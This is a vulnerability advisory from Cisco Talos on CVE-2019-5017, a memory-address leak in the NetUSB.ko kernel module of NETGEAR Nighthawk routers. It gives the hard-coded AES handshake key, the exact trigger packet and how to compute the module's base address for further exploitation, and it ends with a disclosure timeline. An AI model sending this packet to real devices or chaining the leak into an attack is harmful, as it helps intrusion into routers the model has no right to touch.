CVE-2019-5017
An exploitable information disclosure vulnerability exists in the KCodes NetUSB.ko kernel module that enables the ReadySHARE Printer functionality of at least two NETGEAR Nighthawk Routers and potentially several other vendors/products. An unauthenticated, remote attacker can craft and send a packet containing an opcode that will trigger the kernel module to return several addresses. One of which can be used to calculate the dynamic base address of the module for further exploitation.
NETGEAR Nighthawk AC3200 (R8000) Firmware Version V1.0.4.28_10.1.54 (11/7/18) - NetUSB.ko 1.0.2.66
http://www.kcodes.com https://www.netgear.com/home/products/networking/wifi-routers/R8000.aspx https://www.netgear.com/support/product/ReadySHARE_USB_Printer.aspx
5.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
CWE-200: Information Exposure
Some NETGEAR routers utilize a bespoke kernel module called NetUSB.ko from a Taiwanese company called KCodes. This module is custom-made for each device but contains similar functionality. The module shares USB devices over TCP, allowing clients to use various vendor-made drivers and software to connect to these devices in such a way that the client machine treats the remote device as a local USB device plugged into their computer. The software used for NETGEAR routers is called NETGEAR USB Control Center which utilizes a driver called NetUSBUDSTcpBus.sys (on Windows) for communications. Many other products use NetUSB.ko. Unfortunately, we are unable to test so many potential devices. A previously disclosed vulnerability in 2015 lead researches to believe a flaw in this very kernel module potentially existed in as many as 92 products across multiple vendors. For this analysis, we utilized the R8000 hardware to test the R8000 version of NetUSB.ko (1.0.2.66) and the R7900 version (1.0.2.69) since both modules are compiled for the same kernel.
When establishing communications to a remote USB device, a handshake must first occur. The handshake works as follows:
The client send bytes “0x5605” followed by 16-bytes of “random” data
00000000 56 05 V.
00000002 81 77 d9 74 f8 9f b4 74 ee 94 02 07 0d b1 38 40 .w.t...t ......8@
The server (router) will encrypt those bytes using the static AES key 5c130b59d26242649ed488382d5eaecc. Which is hard-coded into NetUSB.ko and retrieved by decrypting 0B7928FF6A76223C21A3B794084E1CAD with the key A2353556541CFE44EC468248064DE66C.
After encrypting the client data, the encrypted response is sent back to the client along with 16 bytes of “random” data for the client to encrypt and return.
00000000 29 9e 4d 05 f6 d0 9d 98 ae 7f 81 35 39 83 67 13 ).M..... ...59.g. // Client data encrypted
00000010 af 60 20 6b fa 52 7d 90 82 a3 82 63 f4 b1 14 c1 .` k.R}. ...c.... // Server data to be encrypted and returned
The client responds by encrypting the “random” server data using the same AES key followed by the length of the client’s computer name as four bytes in little-endian format. Following this is the computer name itself and the sync command 0x7, which is also in little-endian format and four bytes in length.
00000012 2c b7 34 c6 32 e3 70 0e 26 bc 66 48 b8 7b c1 1c ,.4.2.p. &.fH.{.. // Encrypted server data
00000022 0c 00 00 00 .... // Computer name length
00000026 57 49 4e 44 4f 57 53 50 43 2d 30 31 WINDOWSP C-01 // Computer name
00000032 07 00 00 00 .... // Sync Command
The handshake is completed when the server responds with 0x17 (0x15 means a device is unavailable):
00000020 17 00 00 00 .... // Connection Established
To actually use the device and establish a remote TCP Bus, a series of opcodes and data are sent to the server. The second byte when establishing such communications is a device number or index into a list of available shared devices on the stack. One such opcode is 0x0c, which is an index indicated that we want to call the SoftwareBus_processSetDeviceMaster function. A very simple request consisting of the opcode with an index of zero followed by at least 16 bytes of data is enough to trigger the vuln.
00000000: 0C 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ..AAAAAAAAAAAAAA
00000010: 41 41 AA
The response consists of at least four addresses and three addition bytes of data. One such address received allows the client to calculate the base address of the NetUSB.ko module.
[-] Raw Response
00000000: 15 00 E1 FF 00 E0 25 CA 68 48 13 BF CC FF 25 CA ......%.hH....%.
00000010: 98 56 06 .V.
[-] Parsed Response
Address Found: 0xFFE10015
Address Found: 0xCA25E000 # Likely stack boundary (Always 0x1FCC bytes apart)
Address Found: 0xBF134868 # Pointer to `softwarebus_do_iPod_init_set_configuration`
Address Found: 0xCA25FFCC # Likely a stack boundary (Always 0x1FCC bytes apart)
NetUSB.ko Base Address Found: 0xBF111000
The third address received is the key element to this vuln. It always points to a value in the .bss section of the NetUSB.ko module:
bss:00023868 softwarebus_do_iPod_init_set_configuration
Knowing this, and using the sample session above, we can subtract the offset 0x23868 from 0xBF134868' which will give us a base address of 0xBF111000`. This was the most common base address discovered during testing. However, it does occasionally change across reboots.
2019-02-01 - Vendor Disclosure
2019-02-11 - Vendor Acknowledged & inquired about PGP
2019-03-06 - Plain text copy of report sent; advised that Netgear is also aware of issue
2019-05-08 - Follow up with vendor
2019-05-15 - Vendor advised provided new module to NetGear
2019-06-14 - Public Release
Discovered by Dave McDaniel of Cisco Talos